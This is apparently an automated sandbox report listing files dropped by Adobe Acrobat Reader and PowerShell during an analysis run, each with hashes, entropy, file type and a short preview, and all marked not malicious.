SHA-512:	DC1E2D129C7C4594ADE12685E69BB492F3BDADA043B33D7E078CF6C47C6A09651CBB9842F4BF05D19C9E6B90F326B8896EF87C6A16B8CC81B807BD90ACD9CB47
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b1aa00-660a-47e5-b35d-997f229b1c16","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749785455,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.300579004391354
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD/+sRcce2vB3/dVlPIHAR0YWFoAvJfYdPeUkwRe9:YvXKXyote2vR/ZwHA6aGg8Ukee9
MD5:	C150C2CC98EDEA5D95C7F60A9B7162F5
SHA1:	29F6FCFA0CFF7DEA71C59C2841DF5CBB0B1187C1
SHA-256:	75CD9BF59DEB53BD576561224530D62324FAAAF71716D76F5A15E311ADDD10DE
SHA-512:	77ED534AC12FE9F659675E38869B5C892F56F92FACAD928DBFA45D5A36CAFDB550A5944FC2463FFF971FA24D0EEF0063C3471DE350B2E0A51778EDCCF8DBFDD0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b1aa00-660a-47e5-b35d-997f229b1c16","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749785455,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.286639570953513
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD/+sRcce2vB3/dVlPIHAR0YWFoAvJf+dPeUkwRe9:YvXKXyote2vR/ZwHA6aG28Ukee9
MD5:	3BDB7F93686BA61550B84D74D67AB5F7
SHA1:	D27E6375D713EA7799A2ACED96B7D8741E2C88C8
SHA-256:	CCA2DFF4FF4D5E6D500E062C92E40509FB94B1F6E9FFFED9132FBDFFACB48C94
SHA-512:	9CD413D5C9B5706D9E27218247885F638E1E54661FFCF2757C14CA5943C7C37C8E088BB731D77C2C0B0874067B83B456ADBA06255DCB16B71B8F1E35CB36C212
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b1aa00-660a-47e5-b35d-997f229b1c16","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749785455,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.284122122653594
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD/+sRcce2vB3/dVlPIHAR0YWFoAvJfbPtdPeUkwRe9:YvXKXyote2vR/ZwHA6aGDV8Ukee9
MD5:	E541DBD7285C2861B5C13F8662E8F091
SHA1:	1690AA8C8E3526CE110B1D427FE5FA5717BD26A1
SHA-256:	0F278C49A693D5B0CA3A389F56250EDCAFCE39AFFC02FAADE8AB2197E2BE8CE0
SHA-512:	C1A4468281BED44EA606F87FF45E3F78D772A0DD9E42B56D918C2AFD28944F9C32567B12578FDA9A5DA0406FFF2827F131158F772EC2E25FAB883A86684C6A1F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b1aa00-660a-47e5-b35d-997f229b1c16","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749785455,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.283468951766934
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD/+sRcce2vB3/dVlPIHAR0YWFoAvJf21rPeUkwRe9:YvXKXyote2vR/ZwHA6aG+16Ukee9
MD5:	70B57A46893DBE97C0058F39B03FC84E
SHA1:	24116ADA710353D6A2414D5A661CDB0958026D3E
SHA-256:	13F7A0D4171A2357C11A34C2945854241B7B58D793073C94457AC330AB71D6E6
SHA-512:	1BE83BF31B8B438BBB5C75957450E651FA2D576DD24C5580A635AF4AA0E3E4E6B879AFDC6F7F1C59964CB639D67BD8C49D166097BF098C7AE91DDC57B8C93DC1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b1aa00-660a-47e5-b35d-997f229b1c16","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749785455,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6689491751508
Encrypted:	false
SSDEEP:	24:Yv6XyoI2JhWPamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSP:YvWJheBgkDMUJUAh8cvMP
MD5:	8529AF3F5C3FDE6411D391B373C5AB6B
SHA1:	36E01A29C2933967FC34DC1DC758BD22FE4C8C20
SHA-256:	D028729CE4DF52705AA26EAD01CC17A6BD2D871158FF87C76353D1E39888FC7B
SHA-512:	97D3E2F60FCD8085E963AE0AAFFCC650D456577D17245B55D5C2034F3A57E491542DBB95E16A92BC24291397F3AF3103DBE2EAE64F8F445D3E8AA43CE7FF7ACB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b1aa00-660a-47e5-b35d-997f229b1c16","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749785455,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.258499960525629
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD/+sRcce2vB3/dVlPIHAR0YWFoAvJfshHHrPeUkwRe9:YvXKXyote2vR/ZwHA6aGUUUkee9
MD5:	B0F77D0DA820A4007BA233DF6C8310EA
SHA1:	87BAC5C69B05AE3DEACA5C374122F7D88572814B
SHA-256:	08D43637E4B332B9564152797C3FB3E5EF719E3C0779E785D28A4CBF44252010
SHA-512:	FBB5313331058D0CE213F1E087E5E3DF8FDA9A682A28F84A0CF71527E7DD6030FC1FF6A6FB89C5664F5A6E55033E62050D7229C2B9BD03980D9C8D9146C97FDF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b1aa00-660a-47e5-b35d-997f229b1c16","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749785455,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2752817405091985
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD/+sRcce2vB3/dVlPIHAR0YWFoAvJTqgFCrPeUkwRe9:YvXKXyote2vR/ZwHA6aGTq16Ukee9
MD5:	11AB8E37B28320C438B5866543B97903
SHA1:	840D85C716B758BFA38B93A834B5D02B40EBA10B
SHA-256:	8276DAA0B3CFF2299E8B2E99B52EC062DF82D800E84839C7C8875CFA16F4DA88
SHA-512:	9A6C4F05F24FCE628115668901DA7574DB83DD3CB3FFDC7934C6B0EC6A864F31F8703B9FF60A32E54D8F44599BD89498800D7DB309D19ACDD7E1FBAD04049B56
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b1aa00-660a-47e5-b35d-997f229b1c16","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736749785455,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.137480965465499
Encrypted:	false
SSDEEP:	24:Ykfpa03ay4Sts2Zd3Eghh2Xl47j/XWj0SMWY02K72LS+CfPUQkOn5vdn98u3OG:YAaS5d0kClU/YJTEIPUQF/9l
MD5:	2A0CD63B57B06CE3C73A25087B465AD9
SHA1:	93849C83F18CDC89DE2774F6FE15C8F8A15B5952
SHA-256:	94917C9F9431931FABCD7A54B1D052AA95FEF3440621ED17BEB2BB24968C5AAB
SHA-512:	CADA8F453DA673F42B1C41FA81A1F4C03108095DEEB990031FC8F0857A6F403A74A41B5DE6BD6DCBEADC38D49AFCBBF19D27EAF569C3D9E3E2A6AFB82DA75E2F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"e2de27a85ea6a6eb0b4c3764b4f1c703","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736575545000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"0ee35d4672d46e65034740f31b6dc4f5","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736575545000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d44b1c4527cf5e90b35a4986298d56df","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736575545000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"c99a4d1423c2bdf46b6328fc3a329837","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736575545000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"abfb72e2712dd8b2ec9bc6af72739cfc","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736575545000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"a2941005d9ba5cba1e554eb3d2581d79","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3184316394009021
Encrypted:	false
SSDEEP:	48:TGufl2GL7ms9WR1CPmPbPahj0IQypilIl0I2:lNVms9WfMwbPahj0IQK0I2
MD5:	D572A571335DAA640FCC20458057543E
SHA1:	22A580DB6147FEE9F1F5101F6D9DC1ED1C0145CD
SHA-256:	DD0670E1D51D1B44C1E982DA1887342850FDD8C1793065A9CD05E5CDA47014E5
SHA-512:	940B6A98817763325BF45246D96303582EDEAC8F6B5F7BB4C972407D984D22BFD46CC0721F0422D887E4C53276547CE552F3352A4CDB79F97AC929990E85F67A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7819597550411501
Encrypted:	false
SSDEEP:	48:7MTWR1CPmPbPahj0IVypilIlqFl2GL7msD:7+WfMwbPahj0IV8KVmsD
MD5:	DA21A18316BE6BD3866FD92022B6EC43
SHA1:	A6374B3E9F1B20575BF760431E9A1C9511D09806
SHA-256:	6E42E66ECABB1E98DF2F247D1467799B5A9B8D687D57144E3D8DA4C2F85D1BC9
SHA-512:	F9DF3800DDF882D47E7C65CB553331E98CAEB83AF7991F3A396117F9004853C0C03FD7708106308577B3366706EC042B742BD607D1D5EB9277F764A29881A5B1
Malicious:	false
Preview:	.... .c..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgAt9c3cGM1Xyr6haIFwy3pmaPhZGYyu:6a6TZ44ADEAt9c3ct1XyrHaPh8K
MD5:	16CD0D8CF0548F3F75A4E62C6B7E6B62
SHA1:	89C8B117AA295AD2D3A469DDA63F4EB033709535
SHA-256:	9FE2A6B3F1FF9024B730F27DB05096C7672B4551FEE5F2413A22631ECD3DAAA9
SHA-512:	FE4EC6AB526BAF028CD023FF4C4B9C4836CAFDA19A649639AEED5E44D40C48166AA0808B97178CCE5FDB114EAAC8BE6B238A170FCF6AAAC87167532456B9B356
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSI5d477.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl8wlNDWNlH:Qw946cPbiOxDlbYnuRKdUfO9
MD5:	9AF4A4DD15A3098CFCA22B751B8326C4
SHA1:	85A9A95443470F3D2C7640BAC9657C0DE38055E3
SHA-256:	B72C37437705858CBAD28E79AF984CCF5204C16C31BB420B4064A7489F305F80
SHA-512:	29934B3E5D5290B7115951151B4E31894184C70CDBBD62F3744745100B5D10981C6031C23017C1D364D8E4F3760FE8F3C15271B0F192BE4B5F6328DB5AEA1357
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.1.:.0.5.:.4.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ztddyw4.3xv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dcbvkxg3.qbi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 01-05-37-900.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.364850819625252
Encrypted:	false
SSDEEP:	384:17NGVX1nqNsaFhRQGrBSeIVgkvKzcsY8P0vdTfthcKIV1V3VtVUv1Ewn141EBcWd:O5w3l3C
MD5:	E46137D99D7F11B05285BA3B07C1D7BE
SHA1:	89C5E857017535D93EAD716F17C0E5756A090567
SHA-256:	FA7166F9DBEC175F12FCC3736738BC261E71660AF1EE16B8CB00F1895495173D
SHA-512:	D96CEB3FC8CB869849757D32376B5CE8E7AF90046784BDE8AED8D22CB75A0FA9B94C4BB342D6C0038362F368732C6C95F630630DDAB865012D044694311F8881
Malicious:	false
Preview:	SessionID=f92bd98d-04aa-4821-b321-14796c010e34.1736575537947 Timestamp=2025-01-11T01:05:37:947-0500 ThreadID=2288 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=f92bd98d-04aa-4821-b321-14796c010e34.1736575537947 Timestamp=2025-01-11T01:05:37:948-0500 ThreadID=2288 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=f92bd98d-04aa-4821-b321-14796c010e34.1736575537947 Timestamp=2025-01-11T01:05:37:948-0500 ThreadID=2288 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=f92bd98d-04aa-4821-b321-14796c010e34.1736575537947 Timestamp=2025-01-11T01:05:37:948-0500 ThreadID=2288 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=f92bd98d-04aa-4821-b321-14796c010e34.1736575537947 Timestamp=2025-01-11T01:05:37:948-0500 ThreadID=2288 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.402655964149588
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbgcbwIQccbt:ceo4+rsCtQn
MD5:	82EF9B969BE0D3A7F798E223BB101C28
SHA1:	682B4186DDB19F08E546FC7FFFE3E7A418200895
SHA-256:	77ECCFD68379A40D0040CA7F058F71C514B5AFD699CE88D70F1E986C203DBAB0
SHA-512:	D42D5EAA72AF62285939EEA2351BC93D7BAEFD86B1E005EAFB1A5BFD4E7ED766BF9A783449A99F006A2BB5163548D9B5ECEF0E5CF360FBF2A0B3075E2EB7D5FC
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0d831359-4b70-423f-9b3c-bbfcf175ef67.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\35397bb5-e88c-477e-961b-05528c058424.tmp

Download File

